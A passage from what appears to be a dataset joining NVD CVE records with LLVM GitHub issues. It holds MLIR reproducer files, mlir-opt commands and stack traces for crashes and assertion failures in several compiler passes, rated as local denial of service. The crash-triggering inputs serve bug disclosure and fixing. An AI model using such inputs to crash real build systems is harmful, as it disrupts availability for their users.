%264 = arith.shrsi %94, %c36976552_i32 : i32
scf.yield %alloc_46 : memref<3xi32>
}
memref.assume_alignment %alloc_107, 8 : memref<2xi32>
return %cst_4 : f32
}
}
```
trace:
```console
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace.
Stack dump:
0. Program arguments: mlir-opt --convert-scf-to-spirv temp.mlir
Stack dump without symbol names (ensure you have llvm-symbolizer in your PATH or set the environment var `LLVM_SYMBOLIZER_PATH` to point to it):
0 mlir-opt 0x00000001032c76f8 llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) + 72
1 mlir-opt 0x00000001032c7c14 PrintStackTraceSignalHandler(void*) + 28
2 mlir-opt 0x00000001032c5d18 llvm::sys::RunSignalHandlers() + 148
3 mlir-opt 0x00000001032c94e4 SignalHandler(int) + 252
4 libsystem_platform.dylib 0x000000019fc254c4 _sigtramp + 56
5 mlir-opt 0x0000000103a6c974 mlir::Type::getDialect() const + 28
6 mlir-opt 0x0000000103a6c974 mlir::Type::getDialect() const + 28
7 mlir-opt 0x00000001073813b0 mlir::Type::getContext() const + 24
8 mlir-opt 0x000000010552bd84 mlir::spirv::PointerType::get(mlir::Type, mlir::spirv::StorageClass) + 32
9 mlir-opt 0x00000001061a1388 void replaceSCFOutputValue<mlir::scf::IfOp, mlir::spirv::SelectionOp>(mlir::scf::IfOp, mlir::spirv::SelectionOp, mlir::ConversionPatternRewriter&, mlir::ScfToSPIRVContextImpl*, llvm::ArrayRef<mlir::Type>) + 240
10 mlir-opt 0x00000001061a0b24 (anonymous namespace)::IfOpConversion::matchAndRewrite(mlir::scf::IfOp, mlir::scf::IfOpAdaptor, mlir::ConversionPatternRewriter&) const + 1016
11 mlir-opt 0x00000001061a06bc mlir::OpConversionPattern<mlir::scf::IfOp>::matchAndRewrite(mlir::Operation*, llvm::ArrayRef<mlir::Value>, mlir::ConversionPatternRewriter&) const + 176
12 mlir-opt 0x0000000107000b24 mlir::ConversionPattern::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&) const + 368
13 mlir-opt 0x0000000107d211e8 mlir::PatternApplicator::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&, llvm::function_ref<bool (mlir::Pattern const&)>, llvm::function_ref<void (mlir::Pattern const&)>, llvm::function_ref<mlir::LogicalResult (mlir::Pattern const&)>) + 1356
14 mlir-opt 0x0000000107021a78 (anonymous namespace)::OperationLegalizer::legalizeWithPattern(mlir::Operation*, mlir::ConversionPatternRewriter&) + 328
15 mlir-opt 0x00000001070211cc (anonymous namespace)::OperationLegalizer::legalize(mlir::Operation*, mlir::ConversionPatternRewriter&) + 996
16 mlir-opt 0x00000001070207bc (anonymous namespace)::OperationConverter::convert(mlir::ConversionPatternRewriter&, mlir::Operation*) + 64
17 mlir-opt 0x0000000107004c58 (anonymous namespace)::OperationConverter::convertOperations(llvm::ArrayRef<mlir::Operation*>, llvm::function_ref<void (mlir::Diagnostic&)>) + 568
18 mlir-opt 0x0000000107004988 mlir::applyPartialConversion(llvm::ArrayRef<mlir::Operation*>, mlir::ConversionTarget&, mlir::FrozenRewritePatternSet const&, llvm::DenseSet<mlir::Operation*, llvm::DenseMapInfo<mlir::Operation*, void>>*) + 124
19 mlir-opt 0x0000000107004e7c mlir::applyPartialConversion(mlir::Operation*, mlir::ConversionTarget&, mlir::FrozenRewritePatternSet const&, llvm::DenseSet<mlir::Operation*, llvm::DenseMapInfo<mlir::Operation*, void>>*) + 72
20 mlir-opt 0x00000001061a5ed4 (anonymous namespace)::SCFToSPIRVPass::runOnOperation() + 392
21 mlir-opt 0x0000000106ec44ac mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 512
22 mlir-opt 0x0000000106ec4b7c mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 364
23 mlir-opt 0x0000000106ec6dc0 mlir::PassManager::runPasses(mlir::Operation*, mlir::AnalysisManager) + 108
24 mlir-opt 0x0000000106ec6b98 mlir::PassManager::run(mlir::Operation*) + 864
25 mlir-opt 0x0000000106eabf94 performActions(llvm::raw_ostream&, bool, bool, llvm::SourceMgr&, mlir::MLIRContext*, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, bool, bool) + 560
26 mlir-opt 0x0000000106eabb28 processBuffer(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, bool, bool, bool, bool, bool, bool, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, llvm::ThreadPool*) + 496
27 mlir-opt 0x0000000106eab8f0 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 204
28 mlir-opt 0x0000000106eab804 mlir::LogicalResult llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::callback_fn<mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0>(long, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) + 80
29 mlir-opt 0x00000001070b692c llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 96
30 mlir-opt 0x00000001070b6410 mlir::splitAndProcessBuffer(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>, llvm::raw_ostream&, bool, bool) + 128
31 mlir-opt 0x0000000106ea9244 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool) + 320
32 mlir-opt 0x0000000106ea944c mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, mlir::PassPipelineCLParser const&, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool, bool) + 296
33 mlir-opt 0x0000000106eaa010 mlir::MlirOptMain(int, char**, llvm::StringRef, mlir::DialectRegistry&, bool) + 2912
34 mlir-opt 0x0000000102ae9278 main + 148
35 dyld 0x0000000120745088 start + 516
``` | [mlir] convert-scf-to-spirv Pass crashed with segmentation fault | https://api.github.com/repos/llvm/llvm-project/issues/59136/comments | 5 | 2022-11-22T17:14:33Z | 2023-01-09T16:37:11Z | https://github.com/llvm/llvm-project/issues/59136 | 1,460,261,889 | 59,136 | 5,072 |
CVE-2023-29935 | 2023-05-05T15:15:09.783 | llvm-project commit a0138390 was discovered to contain an assertion failure at !replacements.count(op) && "operation was already replaced. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/llvm/llvm-project/issues/59182"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/llvm/llvm-project/issues/59182"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/llvm/llvm-project/issues/59182"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:llvm:llvm:2022-11-23:*:*:*:*:*:*:*",
"matchCriteriaId": "9B8D1FE3-4FF5-447A-8B19-FF362CD84298",
"versionEndExcluding": null,
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],
"operator": null
}
] | [
"617"
] | 617 | https://github.com/llvm/llvm-project/issues/59182 | [
"Issue Tracking",
"Patch"
] | github.com | [
"llvm",
"llvm-project"
] | MLIR built at commit https://github.com/llvm/llvm-project/commit/12ebfca621059bf6423a8ea0fcf6225dfe8018eb
Reproduced with:
`mlir-opt --gpu-to-llvm temp.mlir`
temp.mlir:
```mlir
module {
func.func @func1(){
%c1 = arith.constant 1 : index
%alloc_6 = memref.alloc() : memref<2x3xf32>
memref.alloca_scope {
%41 = memref.generic_atomic_rmw %alloc_6[%c1, %c1] : memref<2x3xf32> {
^bb0(%arg0: f32):
memref.atomic_yield %arg0 : f32
}
}
return
}
}
```
trace:
```console
Assertion failed: (!replacements.count(op) && "operation was already replaced"), function notifyOpReplaced, file DialectConversion.cpp, line 1404.
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace.
Stack dump:
0. Program arguments: mlir-opt -gpu-to-llvm temp.mlir
Stack dump without symbol names (ensure you have llvm-symbolizer in your PATH or set the environment var `LLVM_SYMBOLIZER_PATH` to point to it):
0 mlir-opt 0x00000001055fff5c llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) + 72
1 mlir-opt 0x0000000105600478 PrintStackTraceSignalHandler(void*) + 28
2 mlir-opt 0x00000001055fe588 llvm::sys::RunSignalHandlers() + 148
3 mlir-opt 0x0000000105601d48 SignalHandler(int) + 252
4 libsystem_platform.dylib 0x000000019fc254c4 _sigtramp + 56
5 libsystem_pthread.dylib 0x000000019fc0dee0 pthread_kill + 288
6 libsystem_c.dylib 0x000000019fb48340 abort + 168
7 libsystem_c.dylib 0x000000019fb47754 err + 0
8 mlir-opt 0x0000000109346380 mlir::detail::ConversionPatternRewriterImpl::notifyOpReplaced(mlir::Operation*, mlir::ValueRange) + 208
9 mlir-opt 0x0000000109347758 mlir::ConversionPatternRewriter::eraseOp(mlir::Operation*) + 300
10 mlir-opt 0x000000010834561c (anonymous namespace)::GenericAtomicRMWOpLowering::moveOpsRange(mlir::ValueRange, mlir::ValueRange, llvm::ilist_iterator<llvm::ilist_detail::node_options<mlir::Operation, true, false, void>, false, false>, llvm::ilist_iterator<llvm::ilist_detail::node_options<mlir::Operation, true, false, void>, false, false>, mlir::ConversionPatternRewriter&) const + 304
11 mlir-opt 0x0000000108344630 (anonymous namespace)::GenericAtomicRMWOpLowering::matchAndRewrite(mlir::memref::GenericAtomicRMWOp, mlir::memref::GenericAtomicRMWOpAdaptor, mlir::ConversionPatternRewriter&) const + 1600
12 mlir-opt 0x0000000108343f28 mlir::ConvertOpToLLVMPattern<mlir::memref::GenericAtomicRMWOp>::matchAndRewrite(mlir::Operation*, llvm::ArrayRef<mlir::Value>, mlir::ConversionPatternRewriter&) const + 192
13 mlir-opt 0x0000000109348b50 mlir::ConversionPattern::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&) const + 368
14 mlir-opt 0x000000010a06cbb8 mlir::PatternApplicator::matchAndRewrite(mlir::Operation*, mlir::PatternRewriter&, llvm::function_ref<bool (mlir::Pattern const&)>, llvm::function_ref<void (mlir::Pattern const&)>, llvm::function_ref<mlir::LogicalResult (mlir::Pattern const&)>) + 1356
15 mlir-opt 0x0000000109369a1c (anonymous namespace)::OperationLegalizer::legalizeWithPattern(mlir::Operation*, mlir::ConversionPatternRewriter&) + 328
16 mlir-opt 0x0000000109369170 (anonymous namespace)::OperationLegalizer::legalize(mlir::Operation*, mlir::ConversionPatternRewriter&) + 996
17 mlir-opt 0x0000000109368760 (anonymous namespace)::OperationConverter::convert(mlir::ConversionPatternRewriter&, mlir::Operation*) + 64
18 mlir-opt 0x000000010934cc60 (anonymous namespace)::OperationConverter::convertOperations(llvm::ArrayRef<mlir::Operation*>, llvm::function_ref<void (mlir::Diagnostic&)>) + 568
19 mlir-opt 0x000000010934c990 mlir::applyPartialConversion(llvm::ArrayRef<mlir::Operation*>, mlir::ConversionTarget&, mlir::FrozenRewritePatternSet const&, llvm::DenseSet<mlir::Operation*, llvm::DenseMapInfo<mlir::Operation*, void>>*) + 124
20 mlir-opt 0x000000010934ce84 mlir::applyPartialConversion(mlir::Operation*, mlir::ConversionTarget&, mlir::FrozenRewritePatternSet const&, llvm::DenseSet<mlir::Operation*, llvm::DenseMapInfo<mlir::Operation*, void>>*) + 72
21 mlir-opt 0x00000001080bc8d4 (anonymous namespace)::GpuToLLVMConversionPass::runOnOperation() + 384
22 mlir-opt 0x000000010920c524 mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 512
23 mlir-opt 0x000000010920cbf4 mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 364
24 mlir-opt 0x000000010920ee38 mlir::PassManager::runPasses(mlir::Operation*, mlir::AnalysisManager) + 108
25 mlir-opt 0x000000010920ec10 mlir::PassManager::run(mlir::Operation*) + 864
26 mlir-opt 0x00000001091f4010 performActions(llvm::raw_ostream&, bool, bool, llvm::SourceMgr&, mlir::MLIRContext*, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, bool, bool) + 560
27 mlir-opt 0x00000001091f3ba4 processBuffer(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, bool, bool, bool, bool, bool, bool, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, llvm::ThreadPool*) + 496
28 mlir-opt 0x00000001091f396c mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 204
29 mlir-opt 0x00000001091f3880 mlir::LogicalResult llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::callback_fn<mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0>(long, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) + 80
30 mlir-opt 0x00000001093fea44 llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::operator()(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) const + 96
31 mlir-opt 0x00000001093fe528 mlir::splitAndProcessBuffer(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>, llvm::raw_ostream&, bool, bool) + 128
32 mlir-opt 0x00000001091f12c0 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool) + 320
33 mlir-opt 0x00000001091f14c8 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, mlir::PassPipelineCLParser const&, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool, bool) + 296
34 mlir-opt 0x00000001091f208c mlir::MlirOptMain(int, char**, llvm::StringRef, mlir::DialectRegistry&, bool) + 2912
35 mlir-opt 0x0000000104e21fa0 main + 148
36 dyld 0x0000000122ab5088 start + 516
zsh: abort mlir-opt -gpu-to-llvm temp.mlir
``` | [mlir] gpu-to-llvm Pass crashed with error message "Assertion failed: (!replacements.count(op) && "operation was already replaced")" | https://api.github.com/repos/llvm/llvm-project/issues/59182/comments | 10 | 2022-11-24T03:35:59Z | 2023-08-07T13:34:09Z | https://github.com/llvm/llvm-project/issues/59182 | 1,462,704,527 | 59,182 | 5,073 |
CVE-2023-29939 | 2023-05-05T15:15:09.850 | llvm-project commit a0138390 was discovered to contain a segmentation fault via the component mlir::spirv::TargetEnv::TargetEnv(mlir::spirv::TargetEnvAttr). | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
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],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking",
"Patch"
],
"url": "https://github.com/llvm/llvm-project/issues/59983"
},
{
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"tags": [
"Issue Tracking",
"Patch"
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},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Issue Tracking",
"Patch"
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"url": "https://github.com/llvm/llvm-project/issues/59983"
}
] | [
{
"nodes": [
{
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{
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"matchCriteriaId": "3693A1CB-2899-4946-A444-0FB73D378422",
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}
] | [
"125"
] | 125 | https://github.com/llvm/llvm-project/issues/59983 | [
"Issue Tracking",
"Patch"
] | github.com | [
"llvm",
"llvm-project"
] | MLIR built at commit https://github.com/llvm/llvm-project/commit/a0138390
Reproduced with:
`mlir-opt --spirv-lower-abi-attrs temp.mlir`
temp.mlir:
```
spirv.module Logical GLSL450 {
spirv.SpecConstant @sc1 = 1.500000e+00 : f32
spirv.SpecConstant @sc2 = 2.500000e+00 : f32
spirv.SpecConstantComposite @scc (@sc1, @sc2) : vector<2xf32>
}
```
trace:
```console
PLEASE submit a bug report to https://github.com/llvm/llvm-project/issues/ and include the crash backtrace.
Stack dump:
0. Program arguments: mlir-opt --spirv-lower-abi-attrs temp.mlir
Stack dump without symbol names (ensure you have llvm-symbolizer in your PATH or set the environment var `LLVM_SYMBOLIZER_PATH` to point to it):
0 mlir-opt 0x0000000102dc05bc llvm::sys::PrintStackTrace(llvm::raw_ostream&, int) + 56
1 mlir-opt 0x0000000102dbf624 llvm::sys::RunSignalHandlers() + 112
2 mlir-opt 0x0000000102dc0c54 SignalHandler(int) + 344
3 libsystem_platform.dylib 0x00000001a56894c4 _sigtramp + 56
4 mlir-opt 0x0000000103927344 mlir::spirv::TargetEnv::TargetEnv(mlir::spirv::TargetEnvAttr) + 136
5 mlir-opt 0x0000000103927344 mlir::spirv::TargetEnv::TargetEnv(mlir::spirv::TargetEnvAttr) + 136
6 mlir-opt 0x0000000103932a80 (anonymous namespace)::LowerABIAttributesPass::runOnOperation() + 132
7 mlir-opt 0x0000000103fcb4dc mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 420
8 mlir-opt 0x0000000103fcba0c mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 320
9 mlir-opt 0x0000000103fcfa90 mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool)::$_14::operator()(mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool)::OpPMInfo&) const + 176
10 mlir-opt 0x0000000103fcf90c mlir::LogicalResult mlir::failableParallelForEach<std::__1::__wrap_iter<mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool)::OpPMInfo*>, mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool)::$_14&>(mlir::MLIRContext*, std::__1::__wrap_iter<mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool)::OpPMInfo*>, std::__1::__wrap_iter<mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool)::OpPMInfo*>, mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool)::$_14&) + 360
11 mlir-opt 0x0000000103fcc6d4 mlir::detail::OpToOpPassAdaptor::runOnOperationAsyncImpl(bool) + 1396
12 mlir-opt 0x0000000103fcb60c mlir::detail::OpToOpPassAdaptor::run(mlir::Pass*, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int) + 724
13 mlir-opt 0x0000000103fcba0c mlir::detail::OpToOpPassAdaptor::runPipeline(mlir::OpPassManager&, mlir::Operation*, mlir::AnalysisManager, bool, unsigned int, mlir::PassInstrumentor*, mlir::PassInstrumentation::PipelineParentInfo const*) + 320
14 mlir-opt 0x0000000103fcd388 mlir::PassManager::run(mlir::Operation*) + 1148
15 mlir-opt 0x0000000103fc6840 performActions(llvm::raw_ostream&, bool, bool, std::__1::shared_ptr<llvm::SourceMgr> const&, mlir::MLIRContext*, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, bool, bool) + 504
16 mlir-opt 0x0000000103fc6410 mlir::LogicalResult llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>::callback_fn<mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool)::$_0>(long, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&) + 704
17 mlir-opt 0x000000010403102c mlir::splitAndProcessBuffer(std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::raw_ostream&)>, llvm::raw_ostream&, bool, bool) + 656
18 mlir-opt 0x0000000103fc4838 mlir::MlirOptMain(llvm::raw_ostream&, std::__1::unique_ptr<llvm::MemoryBuffer, std::__1::default_delete<llvm::MemoryBuffer>>, llvm::function_ref<mlir::LogicalResult (mlir::PassManager&)>, mlir::DialectRegistry&, bool, bool, bool, bool, bool, bool, bool) + 216
19 mlir-opt 0x0000000103fc4d2c mlir::MlirOptMain(int, char**, llvm::StringRef, mlir::DialectRegistry&, bool) + 1208
20 mlir-opt 0x0000000102c630a0 main + 108
21 dyld 0x000000010746d088 start + 516
zsh: segmentation fault mlir-opt --spirv-lower-abi-attrs temp.mlir
``` | [mlir] spirv-lower-abi-attrs crashes with segmentation faults | https://api.github.com/repos/llvm/llvm-project/issues/59983/comments | 2 | 2023-01-13T06:04:46Z | 2023-01-13T16:01:04Z | https://github.com/llvm/llvm-project/issues/59983 | 1,531,754,487 | 59,983 | 5,074 |
CVE-2023-29941 | 2023-05-05T15:15:09.917 | llvm-project commit a0138390 was discovered to contain a segmentation fault via the component matchAndRewriteSortOp<mlir::sparse_tensor::SortOp>(mlir::sparse_tensor::SortOp. | {
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"type": "Secondary"
}
],
"cvssMetricV40": null
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"Issue Tracking",
"Patch"
] | github.com | [
"llvm",
"llvm-project"
] | MLIR built at commit https://github.com/llvm/llvm-project/commit/a0138390
Reproduced with:
`mlir-opt --sparse-buffer-rewrite temp.mlir`
`temp.mlir`:
```mlir
module attributes {llvm.data_layout = ""} {
llvm.func @func(%arg0: i64, %arg1: !llvm.ptr<i8>, %arg2: !llvm.ptr<i8>, %arg3: i64, %arg4: i64, %arg5: i64, %arg6: !llvm.ptr<i8>, %arg7: !llvm.ptr<i8>, %arg8: i64, %arg9: i64, %arg10: i64, %arg11: !llvm.ptr<f64>, %arg12: !llvm.ptr<f64>, %arg13: i64, %arg14: i64, %arg15: i64) -> !llvm.struct<(struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>, struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>)> {
%0 = builtin.unrealized_conversion_cast %arg0 : i64 to index
%1 = llvm.mlir.undef : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%2 = llvm.insertvalue %arg1, %1[0] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%3 = llvm.insertvalue %arg2, %2[1] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%4 = llvm.insertvalue %arg3, %3[2] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%5 = llvm.insertvalue %arg4, %4[3, 0] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%6 = llvm.insertvalue %arg5, %5[4, 0] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%7 = builtin.unrealized_conversion_cast %6 : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)> to memref<10xi8>
%8 = llvm.mlir.undef : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%9 = llvm.insertvalue %arg6, %8[0] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%10 = llvm.insertvalue %arg7, %9[1] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%11 = llvm.insertvalue %arg8, %10[2] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%12 = llvm.insertvalue %arg9, %11[3, 0] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%13 = llvm.insertvalue %arg10, %12[4, 0] : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)>
%14 = builtin.unrealized_conversion_cast %13 : !llvm.struct<(ptr<i8>, ptr<i8>, i64, array<1 x i64>, array<1 x i64>)> to memref<20xi8>
%15 = llvm.mlir.undef : !llvm.struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>
%16 = llvm.insertvalue %arg11, %15[0] : !llvm.struct<(ptr<f64>, ptr<f64>, i64, array<1 x i64>, array<1 x i64>)>
